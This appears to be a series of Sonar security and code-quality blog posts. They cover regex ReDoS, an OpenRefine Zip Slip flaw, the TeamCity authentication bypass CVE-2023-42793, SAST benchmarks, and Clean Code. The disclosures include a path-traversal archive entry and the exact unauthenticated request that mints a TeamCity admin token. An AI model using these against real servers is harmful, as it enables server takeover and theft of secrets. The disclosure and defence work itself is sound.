In node-fetch, a function to check whether an origin was trustworthy used a regular expression to aid in detecting whether a URL is trustworthy. One of the tests used the regular expression /^(.+\.)*localhost$/. Let's break this one down:

. is the wildcard character, it matches any character in a string
.+ means we match the wildcard one or more times
\. is a literal period character
the group (.+\.) is a collection of one or more characters followed by a period
^(.+\.)* means that the group must be at the start of the string (^) and can occur zero or more times (*)
finally, localhost$ is the literal string "localhost" and it must appear at the end of the string ($)

The test was to see whether the URL host was either "localhost" or was a subdomain ending in ".localhost", for example "dev.localhost".

The issue here is twofold. Firstly, the group (.+\.) has an overlap in it. The wildcard character can match the period as well. The second problem is that both the + and * quantifiers are greedy and will try to match as much as they can. This initially causes the wildcard to match everything in a string, before backtracking to match the period. 

Consider the string "a.a.a.a.a.a.a". The expression will find the last period and then go on to check whether the group exists zero or more times before looking for the ending, the literal "localhost". It doesn't find it, so the first attempt at matching fails and these are the characters considered:
(a.a.a.a.a.a.)a
Now the backtracking starts, the first group matches all but one of the "a." strings and then the * quantifier causes that group to match the last "a." string.
(a.a.a.a.a.)(a.)a
The last character doesn't match "localhost", so we backtrack again. Now the options start to build up. We match the first four "a." strings, and the next two can either be matched together or in two groups.
(a.a.a.a.)(a.a.)a
(a.a.a.a.)(a.)(a.)a
This fails, so we backtrack again. Now we match the first three "a." strings and the last three can be matched in four different ways.
(a.a.a.)(a.a.a.)a
(a.a.a.)(a.a.)(a.)a
(a.a.a.)(a.)(a.a.)a
(a.a.a.)(a.)(a.)(a.)a
This is the start of an exponential sequence; the complexity is O(2ⁿ). When the number of options that a regular expression has to consider grows like this it is known as catastrophic backtracking.
With the previous quadratic example, we needed thousands of characters to cause an issue. When the regular expression's worst case is exponential, we don't need a very long string to cause the evaluation to take seconds or even minutes. You can check this example out in the regex101 debugger. If you keep adding "a." to the string, eventually the app will tell you it has detected catastrophic backtracking.

You can also visualise what a regular expression looks like using the tool Regexper. This particular expression looks like this:
You can see there's a double loop, an internal one over "any character" and an outer one around the group. Since, "any character" also matches "." the overlap means the group can be evaluated in many different ways, as we have seen. That is what causes the catastrophic backtracking we saw above.
Testing your regular expressions
I built a tool to investigate the time it takes to evaluate regular expressions against a string. It comes with some examples, including this one. Note, the regular expression is evaluated in a web worker, which is why the interface doesn't freeze. You may also find different browsers behave in different ways. In my testing, it seems that Safari has implemented some way to detect if the evaluation is taking too long and shortcuts the failure, which is great in general, but not useful to see this effect. Meanwhile, Firefox has a 5-second time out after which it throws an error. Chromium-based browsers appear to be happy to run the code for as long as it takes.
In real life
The CloudFlare outage was an example of catastrophic failure. Their regex was: (?:(?:\"|'|\]|\}|\\|\d|(?:nan|infinity|true|false|null|undefined|symbol|math)|\`|\-|\+)+[)]*;?((?:\s|-|~|!|{}|\|\||\+)*.*(?:.*=.*))).

It looks long and complicated, but if we visualise it we can see that we have two loops of "any character" next to each other. Those can match in multiple ways, similar to how we saw with the node-fetch example above.
In this case, CloudFlare was trying to use this regular expression to block inline JavaScript. While it isn't made particularly clear in the report, my guess is that this regular expression was running against the body of a request or response. It doesn't take much to satisfy the start of the expression and get to the part where the two "any character" loops start and that's where the problem lies. In fact, you can start this expression matching with a single item from the left side of the visualisation, any digit or a quotation mark. If the input is long enough beyond that character, which request or response bodies likely are, the .* will greedily consume the rest of the string and eventually succumb to a catastrophic backtrack.

The appendix to the outage explains further, but I recommend reading the whole article to understand how the regular expression triggered a set of events that caused the outage, and also how CloudFlare worked to return service to normal.
More overlaps
Superhuman also had an issue with catastrophic backtracking. In their case they were trying to match email addresses using the expression /("[^"]*"|[^@])*@[^@]*/. The issue here lies in the group ("[^"]*"|[^@])* which allows for either a string surrounded by quotation marks or a string that contains anything but the @ symbol zero or more times. Since the quotation mark itself is a string that doesn't include the @ symbol, there is an overlap between these choices, which causes the evaluation to branch in a similar fashion to the node-fetch example. A long string of quotation marks will take a long time to evaluate.
Solving catastrophic backtracking issues
Catastrophic backtracking is caused by patterns that can produce different matches on the same input. So, look out for expressions like:
P* or P*? (the lazy operator), where P is a pattern with many options for matching, like the wildcard .*
a disjunction with overlapping groups, like (a|ab)*
consecutive patterns that overlap, watching out for optional separators, like .*-?.* which can be reduced to .*.*

To fix catastrophic backtracking you can do a few things:
Refactor nested qualifiers so that an inner group can't be matched by an outer group. The node-fetch example could replace the group (.+\.) with ([^.]+\.) so that there is no longer an overlap
If you are splitting a string up, take multiple passes with simpler regular expressions
regular-expressions.info suggests using atomic grouping ((?>pattern)) to avoid catastrophic backtracking. An atomic group avoids backtracking, once it has matched a group the engine won't go back into it to try a different way. Sadly, JavaScript doesn't have atomic groups built in, but you can fake atomic groups using a lookahead and a backreference. Fixing the node-fetch expression this way looks like this: ^(?=((.+\.)*))\1localhost$. You can read more about how using lookaheads and backreferences work here
Finally, you can just avoid regular expressions. The actual fix to node-fetch swapped the regular expression for two string checks
One other alternative to consider is using a regular expression engine that doesn't use backtracking. Google has built one called re2 and there are Node.js bindings for it. There are some limitations to using it though; it doesn't support lookahead or backreferences and there are some expressions that will evaluate differently compared to the built-in RegExp, check the README for details.
Regular expressions are complicated
That's been quite a journey. Learning that those seemingly innocent regular expressions may be hiding catastrophic, server and interface collapsing issues within them is an eye-opener. Thankfully there are ways to fix the issues, but the difficulty is spotting them. There are tools available that can help though.

SonarQube and SonarCloud scan for potentially dangerous regular expressions and highlight them as security hotspots
After finding they had written a bad regular expression, Superhuman put together the tool regex.rip which attempts to detect dangerous expressions
I've pointed to the tool regex101.com a couple of times in this post, it explains regular expressions and the debugger can help you see how an expression is being evaluated
Regexper is great for visualising expressions and spotting whether you have too many loops or overlapping conditions
eslint-plugin-regexp is an ESLint plugin that includes a rule to report potentially dangerous backtracking

So, remember the tips in this article, watch out for wildcard characters, keep an eye on the + and * quantifiers, and when you are testing, recall that catastrophic backtracking occurs when your expression fails to match, so don't just pay attention to the success cases.

Regular expressions can turn up anywhere in your codebase and often interact with user input, validating or parsing it. Any of your regular expressions may be vulnerable to ReDoS, so go check up on your regular expressions and let me know if they are all OK.




Unzipping Dangers: OpenRefine Zip Slip Vulnerability
Stefan Schiller — Wed, 27 Sep 2023 22:00:00 GMT
Key Information
SonarCloud discovered a critical Zip Slip vulnerability in OpenRefine.
If a user running a vulnerable version is tricked into importing a malicious project, an attacker could execute arbitrary code on the user’s machine.
SonarCloud not only discovered the vulnerability but also provides valuable guidance on how to mitigate this kind of vulnerability and prevent common pitfalls.
The vulnerability was fixed with version 3.7.4.
OpenRefine Zip Slip Vulnerability: Introduction
OpenRefine is a Java-based open-source data cleaning and transformation tool. This includes loading different types of data, cleaning it, converting it, and extending it. All of this can be done from the browser by accessing OpenRefine’s web interface. With almost 10k stars and ~1.8k forks, it is one of the more popular GitHub projects.

In our continuous effort to help secure open-source projects and improve our Clean Code solution, we regularly scan open-source projects via SonarCloud and evaluate the findings. In fact, everybody can also do it – SonarCloud is a free code analysis product for open-source projects, regardless of their size or language.

One of the findings reported by SonarCloud was a Zip Slip vulnerability in OpenRefine that made us curious. A Zip Slip vulnerability is caused by inadequate path validation when extracting archives, which may allow attackers to overwrite existing files or extract files to unintended locations.

In this article, we outline the impact of this vulnerability and explain how this and other code vulnerabilities can be detected with SonarCloud. Furthermore, we explain how attackers could exploit the vulnerability and describe a typical pitfall developers may fall into when trying to fix it.
OpenRefine Zip Slip Vulnerability: Impact
OpenRefine version 3.7.3 and below is prone to a Zip Slip vulnerability in the project import feature (CVE-2023-37476). Although OpenRefine is designed to only run locally on a user's machine, an attacker can trick a user into importing a malicious project file. Once this file is imported, the attacker can execute arbitrary code on the user’s machine:
Demonstration of OpenRefine vulnerability on a test instance
The vulnerability was fixed with OpenRefine version 3.7.4.
OpenRefine Zip Slip Vulnerability: Technical Details
In this section, we dive into the technical details of the vulnerability.
Vulnerability Discovery
SonarCloud is our cloud-based code analysis service. It uses state-of-the-art techniques in static code analysis to find quality issues, bugs, and security vulnerabilities in your code. With the recently added deeper SAST technology it is even possible to uncover hidden security vulnerabilities introduced by the usage of third-party dependencies.
During our regular scan of public open-source projects, the engine reported the following issue in OpenRefine (see it yourself on SonarCloud):
As clearly visible by the highlighted code flow, the untar method iterates over all files within an archive and uses the tarEntry.getName() method to create a new File object, which is then passed to FileOutputStream to extract this file. This introduces a Zip Slip vulnerability allowing an attacker to write files outside the intended folder (destDir) by creating an archive with a file, e.g., named ../../../../tmp/pwned.

The vulnerable untar method is called from the FileProjectManager.importProject method, which handles the import of existing Refine project files:
_{OpenRefine/main/src/com/google/refine/io/FileProjectManager.java}
public class FileProjectManager extends ProjectManager {
  // ...
  public void importProject(...) {
    // ..
    untar(destDir, inputStream);
Projects can either be imported by directly uploading an archive or by providing the URL of an archive. This is what the feature looks like on the web interface:
The corresponding endpoint is called /command/core/import-project. Although this and all other endpoints of OpenRefine do not require authentication, OpenRefine is supposed to run locally on a user’s machine. Additionally, the employed CSRF protection prevents malicious JavaScript code executed in the context of another website from performing unauthorized actions. In order to exploit the vulnerability, an attacker could still trick a user into importing a malicious project.
Exploitation via Auto-Reload
The vulnerability gives attackers a strong primitive: writing files with arbitrary content to an arbitrary location on the filesystem. For applications running with root privileges, there are dozens of possibilities to turn this into arbitrary code execution on the operating system: adding a new user to the passwd file, adding an SSH key, creating a cron job, and more. For applications running with the permissions of a low-privilege user, the opportunities are more limited but still occur – earlier this year, we documented a unique way to achieve code execution by writing a site-specific configuration hook, which is limited to Python applications.

Besides these generic techniques, there might be features of the application itself, which could be leveraged by attackers. In the case of OpenRefine, the application implements an auto-reload feature, which regularly scans the WEB-INF folder for changes and restarts the WebAppContext when a file is changed:
_{OpenRefine/server/src/com/google/refine/Refine.java}
class RefineServer extends Server {
  static private void scanForUpdates(...) {
    // ...
    scanList.add(new File(contextRoot, "WEB-INF/web.xml"));
    findFiles(".class", new File(contextRoot, "WEB-INF/classes"), scanList);
    findFiles(".jar", new File(contextRoot, "WEB-INF/lib"), scanList);
    // ...
    scanner.addListener(new Scanner.BulkListener() {
      public void filesChanged() {
        try {
          context.stop();
          context.start();
All classes within the WEB-INF/classes folder are reloaded during the restart of the WebAppContext. This means that attackers could overwrite an existing .class file within this folder, which triggers the reload and subsequently executes the attacker's .class file, resulting in the ability to execute arbitrary code.
Mitigation, Pitfall, and Patch
In order to mitigate this vulnerability, it needs to be ensured that all files are extracted under the intended base folder. One way you might think of doing this is by using the getCanonicalPath method to retrieve the absolute and unique path as a String and then leverage the startsWith method to verify that the destination path is part of the intended base folder:

Caution: This does not fully fix the vulnerability! Can you spot the problem here?
        while ((tarEntry = tin.getNextTarEntry()) != null) {
            File destEntry = new File(destDir, tarEntry.getName());
+            if (!destEntry.getCanonicalPath().startsWith(destDir.getCanonicalPath())) {
+                throw new IllegalArgumentException("Zip archives with files escaping their root directory are not allowed.");
+            }
The getCanonicalPath method removes terminating path separators, which makes this still vulnerable to a partial path traversal!

Assuming the base folder (destDir) is defined as the home directory of the user john ("/home/john/"), the trailing slash is removed, resulting in "/home/john". This means that attackers could still partially path traversal to another user’s home directory beginning with the same characters, e.g., "/home/johnny/" since this passes the check:
"/home/johnny/.ssh/id_rsa".startsWith("/home/john") == true
A real-life example of such a partial path traversal vulnerability can be found here, which is covered in more detail in the related Black Hat talk by Jonathan Leitschuh.

We continuously keep track of freshly unveiled pitfalls like this and add them to our engine. To correctly fix a vulnerability, you can click on the "How can I fix it?" tab directly attached to the corresponding issue on SonarCloud:
In order to prevent this partial path traversal, there are two different approaches:
Reinsert the path separator for the base folder after calling getCanonicalPath
Retrieve the Path object related to the File and use its startsWith method. This does not literally compare the path’s string but determines this on a path’s elements basis.

For OpenRefine, the maintainers avoided falling into this trap. They correctly fixed the vulnerability by leveraging the toPath method:
        while ((tarEntry = tin.getNextTarEntry()) != null) {
            File destEntry = new File(destDir, tarEntry.getName());
+            if (!destEntry.toPath().normalize().startsWith(destDir.toPath().normalize())) {
+                throw new IllegalArgumentException("Zip archives with files escaping their root directory are not allowed.");
+            }
This effectively prevents files from being written outside the intended destDir folder.

Timeline

  Date Action
  2023-07-07 We report the issue to the maintainers
  2023-07-08 Maintainers confirm the issue and start working on a patch
  2023-07-17 OpenRefine Version 3.7.4 is released, which fixes the issue
  2023-07-17 CVE-2023-37476 is assigned
OpenRefine Zip Slip Vulnerability: Summary
In this article, we deep-dived into a critical Zip Slip vulnerability in OpenRefine. We also outlined how attackers can leverage an application’s features to turn a file write into arbitrary code execution. Furthermore, we highlighted common pitfalls developers may face when trying to fix this path traversal vulnerability.

With the help of SonarCloud, this vulnerability was not only detected in a matter of seconds, it could also be fixed properly by relying on the comprehensive information SonarCloud provides for each raised issue. This applies to security issues, but also code quality problems, which helps developers to write Clean Code, increasing security, maintainability, and reliability.

Finally, we would like to thank the OpenRefine maintainers for quickly responding to our notification, providing a comprehensive patch, and transparently informing all users.

Related Blog Posts
Uncovering hidden security vulnerabilities with deeper SAST
A Twist in the Code: OpenMeetings Vulnerabilities through Unexpected Application State
Pretalx Vulnerabilities: How to get accepted at every conference
Remote Code Execution in Melis Platform


Sonar's Scoring on the Top 3 Java SAST Benchmarks
Alexandre Gigleux — Tue, 26 Sep 2023 22:00:00 GMT
In our previous blog post, we discussed the importance of leveraging benchmarks to track the progress of our SAST capabilities. If you haven't read it, here's a quick summary. 

In January 2023, we decided to use popular SAST benchmarks to track the progress of our SAST capabilities but also to be transparent about what should be detected and not detected on these benchmarks to help the overall SAST market raise the bar and bring clarity and eliminate ambiguity. We will publish Sonar’s scores for Java, C#, and Python SAST benchmarks and everything required to reproduce the figures.

Today, we are excited to share more details about the Top 3 Java SAST benchmarks, namely:
The ground truth corresponding to the list of expected and not expected issues
How Sonar scores on these selected benchmarks

For those who aren’t familiar, here’s a quick reminder about acronyms we typically use in the context of computing benchmark results:

TP = number of True Positives = issues expected and detected
FP = number of False Positives = issues not expected but detected
FN = number of False Negatives = issues expected but not detected
True Positive Rate (TPR) = TP / (TP + FN)
False Discovery Rate (FDR)  = FP / (FP + TP)
Our approach 
We looked at 109 projects available on GitHub related to SAST benchmarks. This corresponds to projects that are candidates to be considered as benchmarks on which we want to apply our selection criteria. Out of these, we selected the top 3 based on the following criteria:
The main language is Java
The project is a vulnerable application even if it was not originally designed as a SAST benchmark because it’s usually what people we talk to (users, prospects, customers), choose to assess the maturity of SAST products
The project should be not archived
The project should have test cases corresponding to problems that are in the code and can be detected by a SAST engine.
The project should have test cases corresponding to web applications
The project should not be linked to a vendor to avoid bias

Finally, the ordering was done on the popularity of the benchmark, without looking at its internal quality (no judgment) The popularity was determined by a couple of factors: 
the number of GitHub votes
the number of times prospects or customers talk about it with us

Based on this, we selected these 3 Java projects:

OWASP Benchmark
OWASP WebGoat
OWASP Security Shepherd

Our findings
At Sonar, we consider that a good SAST solution should have a True Positive Rate at 90% and a False Discovery Rate lower than 10%.

Let's now proceed to share the scores of Sonar on these benchmarks:
As you can see by yourself, the results are pretty good. For the OWASP Benchmark and SecurityShepherd is even beyond our expectations for the TPR. For WebGoat, we are very close to our own internal target.
In all cases, we will not give up and will continue to improve our Java SAST engine to always provide more accurate and actionable results.
Our computation
We said it in the first part of this blog series, usually SAST vendors just claim but don’t provide anything to reproduce their results. At Sonar, we want to change that. To replicate these results, access the ground truths provided in the sonar-benchmarks-scores repository. It's recommended to utilize the most recent version of either SonarQube Developer Edition or SonarCloud.

In addition to the ground truth file for each benchmark, we also provide a special file called ignored-findings.json. Sonar has this unique concept of Security Hotspot. Security Hotspots detect precise code patterns, but the information to know if the finding should be fixed or not is not contained in the code. This is why we request users using our products to manually review detected Hotspots to assess with human eyes if there is really a change to be done. This file is there to simulate this manual activity that only a human can perform to assess for example that no security sensitive data is leaking. In a nutshell, the ignored-findings.json contains the list of Security Hotspots that are safe.

The ground truths correspond to the Sonar AppSec team's perspective on the issues that should be detected or not detected. We acknowledge that we may have made mistakes, so if you come across any misclassifications, please don't hesitate to report them here.
Final word
By sharing the ground truths and showcasing how Sonar scores on these Java SAST benchmarks, our goal is to bring transparency and help companies make well-informed decisions about their SAST solutions. We strongly believe that by sharing our TPR, FDR, and the ground truths, users will gain a better understanding of the effectiveness and accuracy of Sonar's security analyzers. Learn more about Sonar SAST solutions here, and sign up using the simple form below to be notified for the next in the series on Sonar's performance in the Top 3 C# SAST Benchmarks.

Alex




Source Code at Risk: Critical Code Vulnerability in CI/CD Platform TeamCity
Stefan Schiller — Tue, 26 Sep 2023 22:00:00 GMT
Update 2023-09-27: Full technical details added (see Technical Details section).
Key Information
Sonar’s Vulnerability Research Team has discovered a critical security vulnerability in TeamCity, a popular Continuous Integration and Continuous Deployment (CI/CD) server from JetBrains.
The discovered vulnerability tracked as CVE-2023-42793 allows unauthenticated attackers to execute arbitrary code on the TeamCity server (remote code execution, RCE).
Attackers could leverage this access to steal source code, service secrets, and private keys, take control over attached build agents, and poison build artifacts.
JetBrains released a dedicated blog post providing comprehensive information about the vulnerability.
The vulnerability was fixed with TeamCity version 2023.05.4.
Introduction
TeamCity is a widely used Continuous Integration and Continuous Deployment (CI/CD) server from JetBrains deployed by more than 30,000 customers worldwide. The application can either be used via the cloud-hosted solution TeamCity Cloud or deployed on an own server via TeamCity on-premises. According to Shodan, more than 3,000 of these on-premises servers are directly exposed to the Internet.

CI/CD servers like TeamCity are used to automate the process of building, testing, and deploying software applications. This means that these servers have access to one of the most valuable assets of a company: source code. Since they are also responsible for building and deploying this source code, they not only store sensitive secrets and keys but also control the build artifacts, which become part of a software release. This makes CI/CD servers a high-value target for attackers.

In this article, we explain the code vulnerability we discovered in TeamCity, determine the root cause of it, and describe how this and similar vulnerabilities can be prevented.
Impact
TeamCity server version 2023.05.3 and below is prone to an authentication bypass, which allows an unauthenticated attacker to gain remote code execution (RCE) on the server. This enables attackers not only to steal source code but also stored service secrets and private keys. And it’s even worse: With access to the build process, attackers can inject malicious code, compromising the integrity of software releases and impacting all downstream users. The attack does not require any user interaction:
Watch the video
We want to emphasize the importance of prompt action to mitigate this risk. Because this vulnerability does not require a valid account on the target instance and is trivial to exploit, it is likely that this vulnerability will be exploited in the wild.

We strongly advise all TeamCity users to apply the latest patch provided by JetBrains as soon as possible. The first release known to address the vulnerability is TeamCity version 2023.05.4. TeamCity Cloud is not affected by the vulnerability.

Indicators of Compromise
The existence of an authentication token named RPC2 is a strong indicator of compromise. A token with this name was very likely created by an unauthorized and potentially malicious user to gain access to the server:
Please notice that an attacker may have deleted or renamed the token after gaining a foothold on the server.
Technical Details
In the interest of responsible disclosure and ethical reporting, it’s crucial to emphasize that the technical details of this critical vulnerability were disclosed only after careful consideration and the public release of a corresponding exploit. Every effort was made to ensure that JetBrains had adequate time and information to address and remediate the vulnerability. The goal is not only to highlight the potential risks and solutions but also to collaborate towards a safer and more secure digital landscape for all stakeholders involved.
Request Interceptors
TeamCity uses request interceptors in order to perform specific actions for every HTTP request. One of these actions implemented via a request interceptor is the authorization mechanism.

The class responsible for applying this and other interceptors is called RequestInterceptors. When a request is received, the preHandle method of this class is invoked, which determines if the request is suitable for pre-handling by calling requestPreHandlingAllowed:
_{jetbrains.buildServer.controllers.interceptors.RequestInterceptors}
public final boolean preHandle(HttpServletRequest req, ...) {
    if (!this.requestPreHandlingAllowed(req)) {
        return true;
    }
    // ...
}
Amongst other things, this method checks if the requested path matches a predefined list of path expressions (myPreHandlingDisabled). For matching paths, no pre-handling should be applied:
_{jetbrains.buildServer.controllers.interceptors.RequestInterceptors}
private boolean requestPreHandlingAllowed(@NotNull HttpServletRequest req) {
    // ...
    if (!this.myPreHandlingDisabled.matches(WebUtil.getPathWithoutContext(req))) {
        return true;
    }
    // path matches myPreHandlingDisabled? no pre-handling!
    return false;
}
In the constructor of RequestInterceptors, two path expressions are added, which should be excluded from any pre-handling processing:
_{jetbrains.buildServer.controllers.interceptors.RequestInterceptors}
public RequestInterceptors(@NotNull List var1) {
    // ...
    this.myPreHandlingDisabled.addPath("/**" + XmlRpcController.getPathSuffix());
    this.myPreHandlingDisabled.addPath("/app/agents/**");
}
The first path expression starts with the static string "/**", followed by the return value of XmlRpcController.getPathSuffix(), which returns the static string "/RPC2":
_{jetbrains.buildServer.controllers.XmlRpcController}
public class XmlRpcController extends AbstractController {
    public static String getPathSuffix() {
        return "/RPC2";
    }
    // ...
}
Thus, the resulting path expression is "/**/RPC2". For requests to a path matching this expression, no pre-handling interceptors are applied. This also means that for these requests, no authorization check is performed.

This is particularly dangerous because this expression allows arbitrary prefixes in the requested path due to the two asterisks ("/**/"). This effectively disables the authorization check for every request to a path ending with /RPC2.

Request Path Parameters
TeamCity provides a REST API for integrating external applications. The available endpoints are documented here. One of these endpoints allows the creation of a user authentication token via the route /app/rest/users/<userLocator>/tokens. Since this endpoint route ends with the static suffix "/tokens", it cannot be used to bypass the authentication.

However, the documentation does not contain all endpoints. There are additional hidden endpoints. One of these is a slightly different version of the token creation endpoint:
_{jetbrains.buildServer.server.rest.request.UserRequest}
@Api("User")
@Path(UserRequest.API_USERS_URL)
public class UserRequest {
    // ...
    @Path("/{userLocator}/tokens/{name}")
    @ApiOperation(value = "Create a new authentication token for the matching user.", nickname = "addUserToken", hidden = true)
    @POST
    @Produces({"application/xml", "application/json"})
    public Token createToken(@PathParam("userLocator") @ApiParam(format = "UserLocator") String userLocator, @PathParam("name") @NotNull String name, ...) {
        // ...
        SUser user = this.myUserFinder.getItem(userLocator, true);
        AuthenticationToken token = tokenAuthenticationModel.createToken(user.getId(), name, ...);
        return new Token(token, ...);
    }
}
This endpoint also creates a user authentication token, but it additionally allows the provision of a name for this token via the {name} request path parameter. Since this name can be arbitrarily set, RPC2 is considered valid:
Thus, an unauthenticated attacker can create a new authentication token for any user via the following request:
POST /app/rest/users//tokens/RPC2
The response to this request contains the authentication token for the user specified via the <userLocator> (e.g., id:1 for the default admin account). This token can then be used to access the application.

While we won't be sharing exploitation details, with access to the admin account, there are various ways to execute arbitrary code on the server.
Learnings
Authorization checks are usually applied to endpoint handlers individually. This might be as simple as adding a specific decorator or deriving the controller class from a predefined authenticated-only base controller class. TeamCity took an even more secure approach: all endpoints require the user to be authenticated by default. If an endpoint should be made available without authentication, this needs to be explicitly defined in the endpoint handler.

This secure-by-default approach is the preferred way, but it still has a blind spot: global request interceptors. Depending on the programming language and framework, these are usually called middleware, filters, hooks, or interceptors. The purpose of them is to perform specific actions for every HTTP request. Because they are implemented in a separate class or function independent of the specific endpoint handlers, they are often overlooked during security assessments. Whether you are looking at it from the defensive or offensive perspective: always consider these global request interceptors as part of the exposed attack surface!

Another sensitive aspect from a security point of view is the usage of wildcard expressions. These are used in scenarios where a static value is not sufficient to represent all acceptable inputs. The downside of this is that an expression chosen too unrestrictively allows more than actually intended. In this case, the "/**/RPC2" wildcard was never supposed to also include the REST API endpoints. To prevent these kinds of issues a generally good approach is to be as restrictive as possible.

Patch
The vulnerability was fixed with TeamCity version 2023.05.4. By now, the only way the /RPC2 endpoint should be accessed is directly without any prefixes in the requested path. The patch removes the wildcard expression for the /RPC2 pre-handling exception:
_{jetbrains.buildServer.controllers.interceptors.RequestInterceptors}
public RequestInterceptors(@NotNull List var1) {
    // ...
-   this.myPreHandlingDisabled.addPath("/**" + XmlRpcController.getPathSuffix());
+   this.myPreHandlingDisabled.addPath(XmlRpcController.getPathSuffix());
}
This way, pre-handling is only disabled when directly accessing /RPC2 without any additional prefixes in the requested path and cannot be leveraged to bypass the authentication for other endpoints.
Timeline
Our Vulnerability Research team stood in close communication with JetBrains, and we would like to thank them for their efficient collaboration:

  Date Action
  2023-09-06, 10:44 CET We report the issue to JetBrains.
  2023-09-06, 12:39 CET JetBrains confirms receipt of the report.
  2023-09-06, 12:54 CET JetBrains reproduces the issue.
  2023-09-07 JetBrains fixes the issue in 2023.05 branch.
  2023-09-12 JetBrains prepares the plugin that could be used as a workaround.
  2023-09-14 JetBrains sends an update:

The issue has been reproduced and confirmed to be a major security issue.
  2023-09-18 TeamCity version 2023.05.4 is released, which fixes the vulnerability.
  2023-09-18 JetBrains sends notifications to customers asking them to update as soon as possible.
  2023-09-19 CVE-2023-42793 is published.
  2023-09-21 Coordinated release of first blog posts from JetBrains and Sonar.
  2023-09-27 Full disclosure after a public exploit was released.
Summary
In this article, we outlined the impact of a critical vulnerability we discovered in the popular CI/CD server TeamCity. We determined the root cause of the vulnerability and outlined how attackers could leverage it. Furthermore, we provided general recommendations on preventing these kinds of issues and looked at the patch applied to fix the vulnerability.

At last, we would like to give a huge shoutout to JetBrains, who quickly confirmed the vulnerability, informed all affected users, and provided a fix. Thank you!
Related Blog Posts
Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD
Agent 008: Chaining Vulnerabilities to Compromise GoCD
Securing Developer Tools: A New Supply Chain Attack on PHP
Securing Developer Tools: OneDev Remote Code Execution
Securing Developer Tools: Argument Injection in Visual Studio Code




Open Source Summit 2023
Jonathan Vila — Tue, 26 Sep 2023 22:00:00 GMT
The week of 18th to 21st of September, the Open Source Summit conference, organized by The Linux Foundation, was hosted at the Bilbao Palacio Euskalduna, Spain.
More than 1,500 people attended the conference, and this edition was full of talks about AI, OSPO best practices, security, and DevOps.
Sonar was a sponsor among other relevant companies, with a booth where we had great conversations regarding Clean Code and tooling. 
The booth interactions
The main conversations were around explaining how the Clean As You Code methodology provided by Sonar can help improve the project status without being overwhelmed by old issues, that eventually as studies show, they will disappear from the project’s code.
There were also great interactions around small demos about how the tooling (SonarLint), can help con this methodology facilitating that the developer commits confident code already analyzed and fixed, and how this seamlessly integrates with the centralized tool (SonarQube/SonarCloud) that, using the Quality Gate concept, will ensure no bad code is merged into the main branch.
Sonar's presence in the open-source ecosystem
We had time also to show the commitment to the Open Source ecosystem from Sonar, which has been present for more than 13 years with its tools SonarQube and SonarLint, and the deep belief that Open Source is driving innovation and democratization of software creation allowing the open source projects to get benefit from SonarCloud, the tool to analyze projects in the hosted edition for free.
More than 87000 Open Source projects are constantly analyzed by SonarCloud, for free, in order to provide tooling and methodologies to the ecosystem in its constant evolution.
Impact of Clean Code and the methodology to follow
We had a great opportunity to show the benefits of Clean Code, its definition, and the drawbacks of not using it in Jonathan Vila’s keynote presentation where he showed numbers about the cost of poor quality code and the current definition of Clean Code and how developers can benefit from it using a low friction approach.
Takeaways
It’s clear that the impact of poor-quality software is huge, more than $2 Trillion, and that embracing methodologies that can reduce that impact in our software is the way to go. But, it’s important to use methodologies and tooling that can be used in a low-friction approach,  with tools that cover the different approaches: developer, team, and company, in order to not become overwhelmed on those long-lived projects and the number of issues to fix.
I would like to finish with a special mention to the community, the open-source core that has brought software to its current status, with lots of individuals and groups improving the software libraries we constantly use. And, in this regard, Sonar is very committed to offering tools considering those projects and committing to the ecosystem.
Eskerrik asko, and see you at the next conference 🙂




5 Clean Code Tips for Reducing Cognitive Complexity
John Clifton — Fri, 22 Sep 2023 13:00:00 GMT
Introduction
Chances are, you are very familiar with the feeling of trying to understand someone else's (or even your own) old code. It definitely made sense six months ago, but between then and now it has become more 'magic eye' than map. If you focus on how hard your code is to understand today, tomorrow will be a lot easier. Cognitive Complexity is Sonar's measure to help you do exactly that! This blog dives into how Cognitive Complexity is calculated and how it can help you write great code!
Tip #1: Write code your team will love you for
When collaborating with a team, it’s very important to consider how well the code you write will be read later in development. Cyclomatic Complexity was first introduced as a way to gauge how easy it is to test and maintain a module's control flow. While it's pretty good at assessing testability, the mathematical model behind it falls short when it comes to measuring maintainability. In this video, we observe a few examples:
Watch the video
Tip #2: Life isn’t all full speed ahead 
Linear code is your friend. If all code was just a sequence of commands listed one after another without any looping or mucking about, then it would be pretty easy to hold that in your head. As soon as you add loops, or decisions that branch the code, it becomes more and more difficult to understand. For this reason, the Cognitive Complexity score for your code will increase by 1 each time you do that. In this video, we see how one’s score adds up when branching and looping are introduced. Sonar can help you see where the complexity is in your code, and seek our opportunities for refactoring. 
Watch the video
Tip #3: Nesting things can make things bad really fast
Nested code is harder to understand and doing more inside nested code compounds how much effort it takes to hold everything in your head. In this video, we see how doing looping or branching inside other loops and branches can drastically impact your Cognitive Complexity score. 
Watch the video
Tip #4: Useful things don’t increase complexity
There are a number of constructs that are designed to make code clearer. Cognitive Complexity scoring is smart enough to understand these constructs do good, so using them won't increase your Complexity score. In this video, we observe a handful of examples that can help educate users on how Sonar’s Cognitive Complexity algorithm works. 
Watch the video
Tip #5: Find the way with Sonar 
In this video, we see how Sonar helps users understand complicated code through Cognitive Complexity scoring. Whether you look at the issue in your IDE with SonarLint or in SonarCloud or SonarQube, you can see each of the points in the function that impacts your overall score. 
Watch the video
In conclusion 
Cognitive Complexity provides a fresh take on complexity modeling. It yields method complexity scores that align well with how developers perceive maintainability. This has been a brief overview of how Sonar measuring Cognitive Complexity can help you write code that is easy to understand. Your team and future you will thank you for it! 

Want to know more? 
Check out this White Paper on Cognitive Complexity by Community Manager, Ann Campbell! 


Remote Code Execution in Tutanota Desktop due to Code Flaw
Paul Gerste — Wed, 20 Sep 2023 15:00:00 GMT
Executive Summary / Key Information
In June 2022, the Sonar Research team discovered critical code vulnerabilities in multiple encrypted email solutions, including Proton Mail, Skiff, and Tutanota.
These privacy-oriented webmail services provide end-to-end encryption, making communications safe in transit and at rest. Our findings affect their web clients, where the messages are decrypted with the user's keys; mobile clients were unaffected.
The vulnerabilities would have allowed attackers to steal emails and impersonate victims if they interacted with malicious messages.
The issue has been fixed, and there are no signs of in-the-wild exploitation.
Introduction
Our last two articles discussed the risks of end-to-end encrypted mail providers and showcased the details of two Cross-Site Scripting vulnerabilities we found in Proton Mail and in Skiff.

This blog post concludes our three-part series by presenting the technical details of vulnerabilities we found in the Tutanota desktop client. We show how an innocent-looking piece of code led to a Cross-Site Scripting issue that made it possible for attackers to steal decrypted emails, impersonate victims, and even execute arbitrary code on the victim's machine if they use the desktop client of Tutanota.

